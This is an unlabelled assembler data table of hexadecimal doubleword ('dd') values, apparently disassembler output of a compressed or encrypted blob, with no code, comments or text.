		dd 0D5F50E76h, 40C0CF47h, 315A36FEh, 0D7D0EF55h, 764D5998h
		dd 4F7AF900h, 2BC4B4A2h, 82D50E33h, 1AA210D4h, 0EC5A0BBFh
		dd 169BE109h, 26184508h, 24E029D0h, 91443EFCh, 310F0CABh
		dd 270988E2h, 0C68975A5h, 7820179Ch, 414871FDh,	0B71180BCh
		dd 687831FEh, 4A709C73h, 12B82948h, 0F23805EBh,	95A0CCD2h
		dd 0C64E29B0h, 6CA8085Ah, 0A54D00C4h, 0C7FB0C05h, 0A700F7ECh
		dd 0A30A52DDh, 54A45EB2h, 0F5C4Bh, 0D0260DB5h, 8961B680h
		dd 0E3F0690Eh, 0F160EDE7h, 0A6E845h, 0EBC07458h, 2C535597h
		dd 4E868C07h, 2AF0ADC6h, 43E69B4h, 379B5B72h, 0F4F3B3h
		dd 7440E8B2h, 1FAE34EAh, 2BBDC82Ch, 9777008Ch, 5BB6EDC4h
		dd 0E99FBB80h, 8604EC63h, 0E0921471h, 3303AAF0h, 81CF4077h
		dd 4A49CACh, 0BBBD44F5h, 18326727h, 0EE38EB64h,	8C160111h
		dd 0D7C843C1h, 7B107255h, 2D1E78A9h, 0F1380064h, 449BC653h
		dd 0A8C8B146h, 8010B908h, 0EC807DA7h, 0F20297FAh, 0A89FBD7Fh
		dd 1607929h, 9A6EC133h,	0A04C6C45h, 0AF2D90h, 0DBFB2DBh
		dd 0AB19C77Fh, 2440C127h, 0BB20E0B0h, 39DF375Ah, 39B0E109h
		dd 0D510BBF4h, 0C300F960h, 0A9407F62h, 9E0BF4Eh, 8CB1383Bh
		dd 32ADC463h, 0B61432F8h, 169E804Ch, 2FEC09D4h,	99573Eh
		dd 70EBD564h, 59A4E56Eh, 4EC0187Dh, 942A46A8h, 8030EE3Ah
		dd 6C76FD08h, 20407B55h, 4E5C097Fh, 14604A40h, 31DE98F1h
		dd 0B0A1CA2Ah, 0D3AA107Fh, 93209CEDh, 0C4B8D7B4h, 0ED68E436h
		dd 31D4B200h, 215C6001h, 1577031Ah, 9A222AEh, 689266C1h
		dd 74BB842Ch, 4891108Dh, 0E50074F0h, 4C9639C8h,	4FAC7FD7h
		dd 0BC804012h, 5864D3D8h, 8514E958h, 0D44127E2h, 0D62045E1h
		dd 0F3FD3FF4h, 0F8610EC1h, 0F9342BE0h, 0C02FD830h, 0F14D3F10h
		dd 712D0949h, 0FB2FEC1h, 37831630h, 818B7D6h, 8811249Bh
		dd 351F07E0h, 0F7E597E8h, 1BB211E6h, 4427D433h,	2DA3618h
		dd 60DF9F58h, 493760B1h, 0A90F4229h, 0ECA8804Ch, 78B659CFh
		dd 56990086h, 0A94EB1E4h, 27619EBDh, 0B0A24CA0h, 0C353419Ch
		dd 0EEE470CCh, 3D40211Fh, 3E95A506h, 0BF6C8898h, 58CB6B79h
		dd 5740D20Ch, 3805A20Eh, 0D85198CFh, 0C61C0027h, 29104A06h
		dd 0E03B2AA1h, 259306B4h, 0C036A869h, 0CE861A59h, 0EC24A033h
		dd 3E05755Fh, 884C1124h, 33A5800Ch, 52313D6Eh, 15068900h
		dd 0F768C736h, 0A76001EAh, 4708D354h, 0EB1C4234h, 0BDCCB483h
		dd 67029901h, 0D6D0108Bh, 4E9B29BFh, 48005826h,	5A7BD748h
		dd 16AC0B9h, 70B7CBD4h,	52A9BFE5h, 572015D4h, 28793A91h
		dd 3E98AAC3h, 8C9BF1Dh,	2A91C06Eh, 54FCA8A8h, 0C671C1C0h
		dd 5470BDB4h, 341E4D7h,	0AD620291h, 6922B666h, 0A80E001Ah
		dd 1965D312h, 0C30B2CAAh, 11C925Ch, 6D9E7549h, 1DB6E881h
		dd 8AC1D2FCh, 0CCA90E70h, 8091BFBDh, 7869B22h, 0C3AA819Ah
		dd 419CA558h, 0A29FF90Fh, 0A1566CC8h, 0F19339C0h, 0FCFF4B85h
		dd 4CAC2066h, 0D9C8BEB4h, 0C3B831B6h, 4FBC589Ah, 89421C92h
		dd 0D79F897Ch, 0E4904F99h, 0E900D992h, 288C17Dh, 80B7B4EFh
		dd 0DCE817D2h, 48068CA4h, 0CE0F63CBh, 6CFC5270h, 0B7112102h
		dd 0B0A69040h, 813FD14Fh, 7BBEE0h, 5AFBB90Fh, 12B77FE7h
		dd 0E0E8A7Ah, 1E283E08h, 0D722DC20h, 0A8572035h, 8010D5FFh
		dd 0DA8DEB20h, 3C60BECBh, 0ED1C1364h, 300F7E03h, 3507143Fh
		dd 6EBCC163h, 0A8311060h, 30BEE9D0h, 0C61C6128h, 11EAB608h
		dd 0A6EE5400h, 9B9967F4h, 0D21CFBFh, 6E8AA3E0h,	0DE0FF2ACh
		dd 78E63780h, 0C3266B40h, 9E9AEE49h, 43657B8h, 11C8E800h
		dd 0AFEA7E92h, 0B3F40C0Eh, 0DB7158A0h, 0E4B1CA88h, 5E90583Eh
		dd 262A8C00h, 0FA10202Bh, 9F931106h, 61236Eh, 0E657B14Dh
		dd 32947CD5h, 44293C00h, 97B2312Ch, 8C0250A5h, 310F606Bh
		dd 4E9FA2AEh, 73601E00h, 6F0C49C2h, 6A870024h, 4D25D9D8h
		dd 96CE322h, 0C1E91F6h,	0D7B133DFh, 7D054911h, 6538C3DAh
		dd 4C579C04h, 0F58A3142h, 88CB90A2h, 0E4406C9Ah, 451D061Eh
		dd 15478110h, 0B70F1F6h, 12E279h, 5B230452h, 0EAFD6D2Dh
		dd 0C79E48C0h, 84B021h,	0B8BFB543h, 33DE2F83h, 59E8B630h
		dd 0F29CE353h, 0F81C705Ch, 1F98D619h, 0D0BC07D8h, 97F3D01Bh
		dd 44005A9Ah, 45F253EEh, 3AB9E46Eh, 1A95BBCAh, 2422DC02h
		dd 7998E200h, 0EA096F51h, 0A2881ED2h, 0E12D8056h, 526C2FFCh
		dd 7C1E6300h, 7D31D7A4h, 307CA1D1h, 76049820h, 6694778Bh
		dd 0B1E299B3h, 47C53Eh,	0B25C8846h, 8A49D1h, 51F70DDEh
		dd 0EEA874A9h, 8D0C0B7Ch, 59A37F31h, 41DE60B3h,	0B642776Ah
		dd 1BEE0974h, 0C500B770h, 0C4E42F0Eh, 0EC6012h,	7FD68CCh
		dd 4190A49h, 7B757C00h,	34D11AC7h, 4E7D3803h, 1DDC4F2Ah
		dd 5D064C58h, 0AA1604E0h, 5B82EA93h, 0E2A04007h, 8C1554B1h
		dd 8B010633h, 10F82E6Ch, 0E0530A18h, 50B2E299h,	1C91414h
		dd 2784E5AAh, 41134B10h, 81E6B60Ch, 60C00731h, 8ED140F2h
		dd 0C36122F4h, 0BACD5038h, 9C051B90h, 13C840h, 623C7425h
		dd 159D651Fh, 17DA4700h, 222702CCh, 0C0BA006Bh,	0D0692179h
		dd 0CE0081D9h, 0F7CBCA97h, 18D14ADBh, 896364BEh, 8041C3Bh
		dd 0B5F6ABF5h, 0F1F488h, 0C2611457h, 8059B9ACh,	0D1251207h
		dd 0C15CE4E2h, 91C0609Ch
		dd 15C32F31h, 539875E0h, 0B26FF203h, 3CE75209h,	7F043551h
		dd 82276717h, 6320E100h, 1CD0A425h, 52BC68EEh, 6103FEFCh
		dd 16E98h, 0AE9F8069h, 5F566B20h, 0C563D718h, 0A0BC9CC8h
		dd 972340h, 280DB8C3h, 9DD825A8h, 3C0C1071h, 0B8EA1D8Bh
		dd 34338826h, 84FBF612h, 922D81Eh, 0DDEE2B03h, 5219D438h
		dd 0D9233E00h, 80045103h, 72A20016h, 0BD4E275Bh, 0C226EBFBh
		dd 9C0C10D1h, 79CE91EAh, 5F30195Ah, 10C51883h, 90514CF6h
		dd 65630015h, 0E4B7AF39h, 0D307258Bh, 9B1155D1h, 13CC2EFEh
		dd 6FF82420h, 6ED21ED5h, 0E9CA8724h, 8E8DE093h,	7730CE34h
		dd 5466807Dh, 6D07A35h,	69B95360h, 0C8A1416Ah, 630310EEh
		dd 4491E6h, 5B6E55B0h, 0D700A62Fh, 1ECBEE04h, 12CE73C1h
		dd 1F2723F0h, 0DB59006Ch, 6348389h, 488B48h, 0ABA47902h
		dd 996EC6A7h, 0F6DE0014h, 5D7B78D7h, 984E7000h,	8512F057h
		dd 5CEA0073h, 0ED3404AFh, 802602FEh, 3C82DC64h,	0C8E9EE1Ch
		dd 88496E3Ch, 5CA09431h, 9BA186EFh, 0E429A46Bh,	7DF13100h
		dd 0E33C5A7h, 26735EEFh, 2350D7C0h, 14A15240h, 0F8326Ch
		dd 694BB243h, 1ED4D0E2h, 0C00354DDh, 429FB82h, 85002AA7h
		dd 53398121h, 0E2CD06A6h, 0EC4AE677h, 51A50068h, 0CC32A7C5h
		dd 0E61460C8h, 18A482D8h, 91A9B99Ch, 9C61C7Ch, 39EE8029h
		dd 0ADAE18D8h, 0E887F626h, 22EF3401h, 7F7B352h,	0F40F8FA1h
		dd 7F9DC08Eh, 7164B94h,	76E83E51h, 0EA88BC00h, 0FF825893h
		dd 4DE00898h, 8FE190A8h, 0FFA4B01h, 0D76508BBh,	520AEC48h
		dd 0E21B946Ah, 0ABC031CAh, 8B214B5h, 0CE032A00h, 59DB98BEh
		dd 0FDE7B58h, 0FC124E11h, 81393A80h, 0AE125FCCh, 6C5FFE6Eh
		dd 3EFF8600h, 0CA0F665h, 0B93F4BEEh, 7C99B1D8h,	0E01E140Eh
		dd 20107E80h, 78FF4C6Dh, 0DA8F7C80h, 0D400DF5Bh, 420364C6h
		dd 59389B76h, 0D3001825h, 0D9F58DEAh, 2802E5AFh, 8988DAC6h
		dd 370B4195h, 0D024EBC1h, 788B61EFh, 0C84FA569h, 300B555h
		dd 633AC0Ah, 0E2CC56h, 67324579h, 88FA1BA3h, 0A50AE8B8h
		dd 94857E61h, 3177AB81h, 0FCD00A65h, 0E6E28063h, 0C8D0254Ch
		dd 0AC278EE3h, 0EF450DC0h, 0C6027594h, 88797DDEh, 40E46Bh
		dd 318A8FE0h, 22EC4307h, 0FCE93707h, 40E06AA7h,	326C965Ah
		dd 787066D8h, 0F9146446h, 8094057Ah, 0B8CADB87h, 0C8DA0079h
		dd 0F712E16Eh, 7F55D8E2h, 66E4084Ch, 0F17A9000h, 0A9D085E0h
		dd 3FB1031Ch, 9406ABE6h, 9DB205C8h, 31E1343Ah, 0B0DA4102h
		dd 0D2000708h, 10971C44h, 0F2C1A7h, 314A0D2Ch, 0A11E24CBh
		dd 0BE5E0200h, 0C841E588h, 636E4835h, 0CB184863h, 0B9004A83h
		dd 0EC841AAEh, 1323D55h, 0CDF1E4B1h, 22130CAAh,	0C0784CE4h
		dd 859AD047h, 407D0EB0h, 9C0E5F31h, 4A3F2C9h, 0B10B324Fh
		dd 90400A04h, 0A0D7E270h, 2C573464h, 41C8352Ah,	92C3B5B0h
		dd 9C40EC28h, 0AFB1904Eh, 3131F0CDh, 0BC89BEA7h, 0C45C4760h
		dd 0B8DCC8A8h, 923F2C9Ah, 9D93011Dh, 0C8D92786h, 707DEAF0h
		dd 394E60AEh, 84F4034Bh, 5AE23A00h, 0C9300461h,	44B89854h
		dd 6600CBD3h, 0F5C6218Dh, 18533472h, 0B1276EFCh, 0E700D3E1h
		dd 0DCC973B3h, 0A7CA57h, 0AF338437h, 27835EF8h,	0F46D6626h
		dd 796BF10Ch, 68CD0764h, 19A3DE06h, 0F480DC89h,	6DEEA5A7h
		dd 0B992053Fh, 170381DCh, 3AF8BE40h, 520AF034h,	511A454h
		dd 0F5DE0337h, 9066CD93h, 78CEE3h, 9134D8B2h, 19AD4D6Dh
		dd 1C6E0928h, 7E035605h, 0A808E02Ah, 28184BD3h,	14B87D47h
		dd 0CA26CB22h, 58E0EA78h, 8D2E7596h, 0E918C4BCh, 2E7C4A0h
		dd 0A3013406h, 40C0563Bh, 0D0A8FB6Bh, 0F40211BAh, 0F7BFCAB8h
		dd 86C0E35Dh, 0D8C8D059h, 50B6697Ch, 17F1F88Fh,	44233D0Ah
		dd 0C6938A34h, 9661132Ch, 30E456D9h, 0FA11B7B0h, 53B21C00h
		dd 0DB68913Ch, 0E0330050h, 358D7F5Ah, 6D1AC785h, 82C18E65h
		dd 20EDD6D0h, 48560869h, 98B9BA28h, 0E0EC2902h,	6405CC59h
		dd 5A3E8E0h, 454204DFh,	90E481B5h, 0AB040C6h, 640E22C1h
		dd 88250117h, 9C1E1593h, 0BC53313Ch, 31C56638h,	41D0D1AEh
		dd 2C8B9AFCh, 0DFB087BCh, 94E498C9h, 449000F5h,	80EBECFCh
		dd 0FB002759h, 0BAB02218h, 8B36BBh, 0C8AACE87h,	40092588h
		dd 0E083E4B9h, 97E1367Fh, 4C63BC01h, 0C3214040h, 22C7009Fh
		dd 0A7CD88C9h, 28C079F9h, 0A5D3103h, 49AF6A75h,	839763A4h
		dd 0FE580DB0h, 0CB0748h, 0A8B2CE20h, 18706B71h,	0F1C6A631h
		dd 41C0DDB6h, 0DE853A9Eh, 8B6E1CA9h, 52388009h,	6D0A16B7h
		dd 5B76CE12h, 65273C04h, 40D83001h, 5433C1F8h, 518C90A4h
		dd 0EE0017B9h, 0BB22115Ch, 4C9B35C3h, 608744BCh, 6E444844h
		dd 10360521h, 0F519E0h,	5FCD801Ah, 6DCEA9Eh, 4D952901h
		dd 8122AFFAh, 49FD8841h, 882BCC70h, 0D0A8016Bh,	0D2002E10h
		dd 5F44F697h, 0FD9D08Fh, 40334ADBh, 7C7DE962h, 0EA826060h
		dd 3AE2CB88h, 1F7059A1h, 0EEC18B1h, 90D4353Bh, 0C7F5B080h
		dd 0BF07AD3Ch, 5D3F28ABh, 918F47F0h, 40B64E11h,	0DDA54460h
		dd 9818A822h, 0DF61BB9Bh, 0BA840327h, 0C499E66Fh, 2C2FEAA8h
		dd 4DFABC00h, 798DCB7Eh, 6C8A62Eh, 9BD90962h, 0DA01B8D4h
		dd 0E918D347h, 970D5E2h, 5129C0E5h, 0DF878543h,	93DE573Fh
		dd 6C706C88h, 4EA2A68Ah, 4AD423D7h, 0A10180F8h,	3B9DB100h
		dd 0D00A3E57h, 0D3670115h, 0BD1E88FDh, 0E73CE871h, 1F4FF188h
		dd 641FACA7h, 7E350FD0h, 0CE83EE88h, 0D83C5B68h, 59E5FCE3h
		dd 0F42210E0h, 3DB5E07h, 110BAB06h, 0CE60A144h,	94CC0009h
		dd 0C7FDBD42h, 0AA026F7Bh, 3BC19B3Ah, 0B87134h,	9E5B8349h
		dd 0EF734BD5h, 4762B807h, 3DF0A7E0h, 98BC8BD8h,	0F06FC46h
		dd 518CCF9h, 9C00CF09h,	1CB02994h, 812060E1h, 0EA42E8B8h
		dd 6080B22Ch, 3B056E51h, 6B70F098h, 0E83E19C0h,	824A31Eh
		dd 1CCE2CEh, 9C43380h, 0EEB4E3h, 6922A58Bh, 5C467607h
		dd 0A8525CB8h, 85680280h, 65022303h, 0A7C708B0h, 0EAFCB284h
		dd 1E7C8812h, 61FF3B1Eh, 4C87C06Ch, 74FCE99h, 0BB9536F3h
		dd 68E498C4h, 3150086h,	769996C8h, 35272C1Eh, 15418AAh
		dd 0C7FB0280h, 7B34D98Eh, 77108046h, 282A49CDh,	0B57F1C88h
		dd 0F288C0C0h, 0B716F04Ah, 1489BA00h, 0CBB1F18Bh, 7789B804h
		dd 42351C64h, 60A42E37h, 0C24E0B9Eh, 1DA40400h,	3C273D1Bh
		dd 120038Ah, 0F9A2152Fh, 0D714C09Ch, 13006DDEh,	77CAAC4Bh
		dd 6C251E3h, 7ABA0421h,	9900F88Dh, 0D6EB3D06h, 4B09F688h
		dd 0E45C2078h, 66095568h, 64FE33A5h, 5E1926F4h,	0EC0F0F30h
		dd 22425EFh, 3338C06Bh,	3E1E0EC7h, 6F3D2035h, 0D46280F1h
		dd 255E088h, 8661BACFh,	1C40B965h, 732CED06h, 2741149Ch
		dd 0A9D1306Eh, 0E38BD883h, 794CE0E2h, 30CC3810h, 15FC5935h
		dd 29A7158h, 0CD0FC04Ah, 6B60F61Eh, 8058B23Fh, 22604948h
		dd 9ECC0F25h, 1D839433h, 14C801DFh, 88038A90h, 562D5983h
		dd 6880ADE6h, 0BA21BEECh, 206B4848h, 52D11480h,	5F01C170h
		dd 0BBDBB267h, 91863457h, 0C9BD8931h, 0D2815C91h, 0E798839Ch
		dd 18019838h, 88E6077Ah, 0E2CC4003h, 0B54BB979h, 2AD44C40h
		dd 7BCB26h, 88C0D13Ah, 30F9BAA5h, 0B946E002h, 0DB021C6Ah
		dd 0D12058h, 0A2327C5Ch, 7840E109h, 0E3EC7B1Dh,	548C4301h
		dd 7096AE8Dh, 0F3C098B2h, 611BC720h, 24B319DCh,	0A386FC5Eh
		dd 0BC27F000h, 0E177368Eh
		dd 0A10894D8h, 9B8580D8h, 724B2950h, 40743503h,	99174CB3h
		dd 0A8A031C5h, 3310E1E0h, 0F300B134h, 454CB4Eh,	7AAFA59h
		dd 0B2BC6282h, 801F974h, 711A6DB5h, 40813174h, 9820F9D0h
		dd 0CE9CCD1Eh, 0B0D30405h, 0DE509827h, 9C96678h, 9138FF25h
		dd 3A56C00h, 0CD2633BEh, 453C188Dh, 0F7EA44Ch, 790311E9h
		dd 1557F160h, 9009C1Bh,	65DCAD31h, 0EA3425h, 0B85676Eh
		dd 33E32DD3h, 60B34313h, 61657401h, 0D492EC13h,	30D89493h
		dd 612CD6A4h, 72A24E0Fh, 9F950F71h, 1E097AA4h, 7E182228h
		dd 57BC22D3h, 0A50190ECh, 0B93D478Bh, 0C404A62h, 1666797Eh
		dd 13B83556h, 30246054h, 3F0AABDAh, 0B8296EFCh,	0C208BE80h
		dd 1D9A72h, 0C65A2762h,	25D6EA8Eh, 16986D16h, 0D0CED00Ah
		dd 59390A42h, 0FFD80460h, 1FEE00EAh, 2E5C22F7h,	117487CEh
		dd 0CCB26C4h, 0F911EF60h, 0F3270188h, 0F134FCAFh, 0ABD9E063h
		dd 0B8300725h, 8291EA0Ch, 0B3050866h, 9E755882h, 0E1056CA2h
		dd 0C06C3EE6h, 5FCB1CE6h, 0F7ED8D00h, 52BC9E84h, 2FCE0528h
		dd 0E6E2D6h, 6B3FAC30h,	74B60934h, 40680049h, 39A1E10Eh
		dd 4709CB5Ah, 18445123h, 5322D900h, 5893E9A0h, 33240AA5h
		dd 0A2CCA7B6h, 72070074h, 0D64DF2DDh, 68E981C4h, 9322264h
		dd 302A73Ch, 0E09B0C90h, 0CB6CCD00h, 4326DACh, 2F47560h
		dd 2ED91896h, 34F122E8h, 56209A00h, 4A1169h, 0EC8AD90Ch
		dd 0AF2290FDh, 53E97D12h, 95807002h, 0FF28D01Bh, 31128C68h
		dd 9A18D17Bh, 0C0337Fh,	954B9D0Eh, 14F25A04h, 0F0D23010h
		dd 0AB79EF22h, 1042652Dh, 670F10h, 9D77DC0Ch, 0A5AFC0FFh
		dd 0B36F0500h, 9BA1E3CBh, 8630A888h, 0C37F000Eh, 90D6CA41h
		dd 0C10BE869h, 90B133D3h, 30379734h, 0C24FD81h,	6001F22Ah
		dd 742831A7h, 4E206FDEh, 52402F1Ch, 0DCE9E811h,	2002C84h
		dd 8769A4E3h, 0D17865h,	0B5FD30B2h, 530D6E1Dh, 971C347Eh
		dd 1AC00A2Ah, 56FBECF5h, 0E37813CFh, 0E4943088h, 89007EAEh
		dd 94BAE1C3h, 7AF3EF2h,	79E8C53Fh, 3DC7D023h, 0F15A036Dh
		dd 6212445Ch, 0CCDDF403h, 33490777h, 29DF9B6Eh,	0C25DC468h
		dd 2E403Fh, 26528D78h, 2F111Dh,	0B2505525h, 33988C9Bh
		dd 96B513Ch, 0C869BBADh, 269C3C44h, 9F043AF8h, 3B04226Bh
		dd 335D018h, 0F4DBB8CCh, 0EC68000Ch, 0CDB64960h, 95523192h
		dd 11063CFCh, 0A700286Bh, 0D7F0522h, 0BC012E14h, 197AA61Ch
		dd 7E213D4Ah, 7179C2CAh, 397C1AF0h, 31404F8h, 80E0B33Ch
		dd 0D37A3A5Ch, 0DB6D0044h, 77011741h, 59011D80h, 0B099E110h
		dd 0F1D6B58Ch, 822180B8h, 0F63E6AE2h, 41BC0601h, 0BD9C37A0h
		dd 55722180h, 0AF58278Dh, 0D438BB00h, 7509E82Fh, 0CC79DF10h
		dd 33C66DA2h, 0BE41095h, 28E01697h, 0D0410081h,	7789AA0Dh
		dd 8066CE12h, 0BCA39C80h, 26B10160h, 68FAC09h, 58D6ECE6h
		dd 0B334BE00h, 0A46B33DEh, 0E3B1133Bh, 0FD5404F1h, 94C88735h
		dd 8CBD40DCh, 589F8562h, 940081D8h, 8A102609h, 2504427Dh
		dd 2C08987h, 84CC9CCCh,	0A6533312h, 6BB504AEh, 0D79DC2D2h
		dd 0A098F092h, 15022212h, 6129B162h, 26862CDh, 2EF789C8h
		dd 28F2B2C0h, 1200BDCBh, 0D32B7B94h, 8782C2h, 52532103h
		dd 0BBACA73Bh, 30180195h, 0E822A634h, 0E4A0B62Dh, 0F545C00Fh
		dd 0B7DA8100h, 0D9EF17C1h, 8A911C55h, 16100DEh,	5DE1060Bh
		dd 0B0770A18h, 98F38D39h, 0D4E845A8h, 43073550h, 2B7F3412h
		dd 467CB8CBh, 0E36F05FFh, 8017046Eh, 533471F0h,	29A08B58h
		dd 0E20BB03Dh, 514019DFh, 1096008h, 9005CB27h, 36EA7A4h
		dd 7F73BDAh, 36B8B8E2h,	0CD05BBD7h, 0DBB96C31h,	27A9E800h
		dd 0B490B5AFh, 434FBFB0h, 9ACB79CCh, 7A718190h,	64E5DCCBh
		dd 25513B0Ch, 1D8F0807h, 78CDF2C9h, 0D498CCC2h,	35E0F094h
		dd 0EED57E12h, 6C689440h, 266B37FCh, 0B4420D3h,	0C448C7EBh
		dd 0B154E24Dh, 1845470h, 0B5ADE488h, 2A6DD8DDh,	65E4CC27h
		dd 7C281Ch, 822FFE4Dh, 3B8DF70Bh, 0CBEEAB00h, 0E4E0DD1Bh
		dd 9F48C884h, 33061111h, 0B9576DBFh, 49031898h,	0B0EF68ADh
		dd 54302C8Bh, 0F4B10C00h, 31E65A31h, 5417D69h, 34C3B244h
		dd 4178926Eh, 99BDA604h, 0F01C9058h, 0D3187285h, 233C8D20h
		dd 6A600C4h, 4FF8B483h,	674C3118h, 0E16B0336h, 18F641D8h
		dd 69D69C60h, 3703322Bh, 95B6C3CBh, 856D98EBh, 68CC0043h
		dd 0D3ACBA6Eh, 2C9122F0h, 0EE1BC880h, 0A20192A5h, 1AA426FEh
		dd 0F5912260h, 2CBC44h,	62E54A4h, 0BB8D9DACh, 0F912FC02h
		dd 4A8FD462h, 5E0599Ch,	0C78301CAh, 36D9000Ch, 5A0035F6h
		dd 56CDB794h, 2E394B4Ch, 2453FCC3h, 7E803ECCh, 0D29FFE40h
		dd 0CB0A363h, 8CA17BF8h, 4409E680h, 3C2A00FCh, 1FFA30C7h
		dd 35006962h, 0CC8BC863h, 19D59AAh, 20DD5016h, 44E9D8E5h
		dd 4AA384D0h, 3EDCA5D0h, 6C24F120h, 0E04498EEh,	0B3CA125Fh
		dd 226D01E4h, 4569BF2Ah, 0A8311985h, 22C8A2C7h,	405CB45Fh
		dd 0F249F9D6h, 96C79A01h, 8274B91Dh, 0F12860CEh, 897D06E9h
		dd 690AC9E2h, 0A29752E8h, 84038D38h, 48C030FCh,	20FA869h
		dd 0E377CE8Ch, 9C496DADh, 0EF818962h, 0CBB0048Ah, 7600E8B2h
		dd 0E7B93426h, 0A5003B82h, 42DA9D97h, 0EABF6C2h, 0CE8E396Dh
		dd 0B3436982h, 47667C87h, 0E28100A2h, 8A609FF8h, 7E34A871h
		dd 60E85A0Ah, 738BD0C8h, 0D5410103h, 0FF30E0F2h, 22C2BE40h
		dd 75CE7838h, 673406DAh, 0A842BC53h, 0F24BB872h, 48304C35h
		dd 400C5Ch, 0F9324CA2h,	93315690h, 68A8A097h, 2238044Bh
		dd 0A302E2B1h, 0E9AA47A8h, 1A40606Dh, 0E0F000EFh, 2A7C85FAh
		dd 7D5C34ECh, 800A922Ch, 0C69FD461h, 7C7304B0h,	0C95200C4h
		dd 355F691h, 0E224CDACh, 0B4B64D7h, 4408E8BCh, 1FF3E431h
		dd 1E4875C9h, 4B938042h, 6B345970h, 150E48B8h, 904E64BCh
		dd 757C204Eh, 1D7372A3h, 9E34E000h, 7E665EAAh, 42954168h
		dd 0E222E900h, 13D471CBh, 327C17FAh, 80C46EC8h,	2F6D5001h
		dd 0D4953238h, 6388747Ch, 0BECC5081h, 844A66Bh,	29686CC1h
		dd 0E5EC042Eh, 69334028h, 17FEDED9h, 0C8324B40h, 1D26CE90h
		dd 806F0405h, 67BDFFF7h, 84F50065h, 0A59AD5C9h,	6E58E4F1h
		dd 450444Ch, 0ED390A14h, 43A1036Ch, 0E106A03Dh,	107CD740h
		dd 9C899490h, 322724D2h, 0E9F0CDh, 0DAD6FC38h, 9194048Dh
		dd 851EEF1Eh, 5348F199h, 34C33044h, 0DBC097ADh,	0B1293C09h
		dd 8BA0A18Ch, 0C1243B5h, 1B7BC0FAh, 0C2F3C903h,	4C303741h
		dd 9D135421h, 9B44DCC5h, 842E3679h, 0C4BC587Eh,	0ECE03EF1h
		dd 0CBC800CFh, 8A5C7D77h, 1C79E1h, 0DE7F7A2Fh, 0B8E73Bh
		dd 0A0F82627h, 1CBBC84Dh, 0C3F3E01Dh, 8241668Bh, 0F87063BCh
		dd 0F1A113F4h, 808037CDh, 817F54A3h, 724A5Ch, 2539C2B4h
		dd 84CFFFh, 2B448E7Ah, 3423034Eh, 6304B22Ch, 0AB0FAE01h
		dd 0FEF06C94h, 685C964Fh, 651308D4h, 98092ABEh,	0A90030B9h
		dd 0A71BB221h, 117C01F3h, 0B8FE418Ch, 9FDBFDBBh, 0BF533199h
		dd 8B4AC488h, 517C95E3h, 4C5C405Ch, 6A7EC05Ch, 1F47622Bh
		dd 491E19F6h, 90E5E4DDh, 0F0397E00h, 24D2BAB7h,	2B8207Ch
		dd 69BC143Ch, 0FF50B090h, 4FB6E158h, 89113440h,	4CD205ECh
		dd 0C300A224h, 33589150h, 600D640h, 51199496h, 9AF12E9Dh
		dd 62630C14h, 0EB796A23h, 2C766D00h, 9A53EC9h, 2CB8B951h
		dd 59F9004Ch, 0A64AE350h
		dd 31B31E0Eh, 427509C9h, 0AC80825Ch, 64F4C098h,	342A388Ah
		dd 12426592h, 4C189044h, 38001C75h, 0CCCF6ED0h,	2E7E831Bh
		dd 0A04DC82h, 42CC1651h, 0BC110EC9h, 0B376EC10h, 7A7E6E07h
		dd 8753A1AAh, 0A87090CAh, 0F08216C6h, 41180401h, 81684BE8h
		dd 0E3E7030Ch, 0FA11F862h, 0B922EAh, 1ECCF759h,	26B6B311h
		dd 0A0E34313h, 6C101E02h, 439CC41Ah, 48C7540h, 0B60289F1h
		dd 2CA4B288h, 0D30E2429h, 7E5DE7h, 0F3D7F6CDh, 1D1ACBEh
		dd 87343BE1h, 33EDC289h, 45CA251Ch, 0E03080ECh,	2757B941h
		dd 9C1C2397h, 583901D2h, 0A1D9C263h, 0BADBD821h, 7779BD04h
		dd 1CC2339Ah, 4010513Fh, 0B2C2FEA7h, 0FD0FB372h, 0A0762A60h
		dd 0DB326847h, 42E60137h, 9D3B30F7h, 0B6D86462h, 0C491CF60h
		dd 3AA9FDh, 587EBFA8h, 0E19485F7h, 8A315513h, 1062D032h
		dd 5709223Ch, 90A31EAh,	4024803Ch, 9A170452h, 27201C20h
		dd 0FCA868F4h, 0BBB525E3h, 37006844h, 7E01776Bh, 71FAA25Ah
		dd 0EEE90045h, 6D8082F9h, 0CC277C3Bh, 66898E8h,	24CE48DDh
		dd 7666CAB0h, 0AC7E8D03h, 0E8E98775h, 9A24FADh,	1142167Ch
		dd 0D45E7492h, 304BD411h, 93A73CB4h, 42D83409h,	0BDC402D2h
		dd 0EC6EF7h, 4971FC58h,	93EAB508h, 0B4052979h, 652D7709h
		dd 0C194E4F4h, 1C7F3118h, 83007CE8h, 0EE61B950h, 2EEA7371h
		dd 9F9467D7h, 3BA44972h, 30C46809h, 3AA4001h, 0F825D4FAh
		dd 4820CED5h, 30EA4DBFh, 902784C7h, 6A842CFh, 0A9409209h
		dd 7178E96Eh, 0F8EECh, 37A4F266h, 0CB43DEFAh, 0E85F2200h
		dd 960879F1h, 0F665326Eh, 0A461CE79h, 0B8A01702h, 7CE64DF1h
		dd 0D0CD4BC8h, 0A2532160h, 74A80613h, 0D11AA605h, 0FC46E4CCh
		dd 0E2850022h, 0AA385615h, 0D02B324h, 1D95B217h, 28C446Ch
		dd 0DAF2AFDEh, 2CD84DBAh, 68A045h, 19265780h, 0C400DDC3h
		dd 3771ADB2h, 134E10Fh,	35EA7769h, 3F31A664h, 6416D816h
		dd 0E40414A4h, 0B6F83DE3h, 84673081h, 0F0885B89h, 5AEC3259h
		dd 0FA07167Dh, 0ADD3345Dh, 0A12C7E32h, 8C6106DCh, 790BCC23h
		dd 8200774Eh, 4374612h,	2826DD01h, 83965CFCh, 9547CC6h
		dd 30794FBBh, 51909D0Dh, 3C840C2Ah, 264CDF08h, 0A4EAC80Ch
		dd 4021194h, 0E5DD01D1h, 25337888h, 8CC4D953h, 0B6C46300h
		dd 945E473Fh, 43A94CD2h, 797E030Bh, 0F910DC18h,	49653Ch
		dd 829F6BC3h, 3055801h,	0B0F16A0Ah, 90388A79h, 1C9444CCh
		dd 0C0B1CD88h, 4CE377DAh, 400443Fh, 0C7AC2BD0h,	57723Eh
		dd 92CF9C71h, 8BC6B829h, 4E309B7Dh, 0ABE620B3h,	455300DAh
		dd 0F1666309h, 98007AB7h, 42E5D6A3h, 4C65Bh, 0A0B3722Eh
		dd 3E35FCA2h, 0EE46D000h, 8FBAD389h, 70670091h,	3DAF2AFAh
		dd 9506033Ah, 27C0E351h, 0C5C70038h, 0C8D85674h, 0DC0721F5h
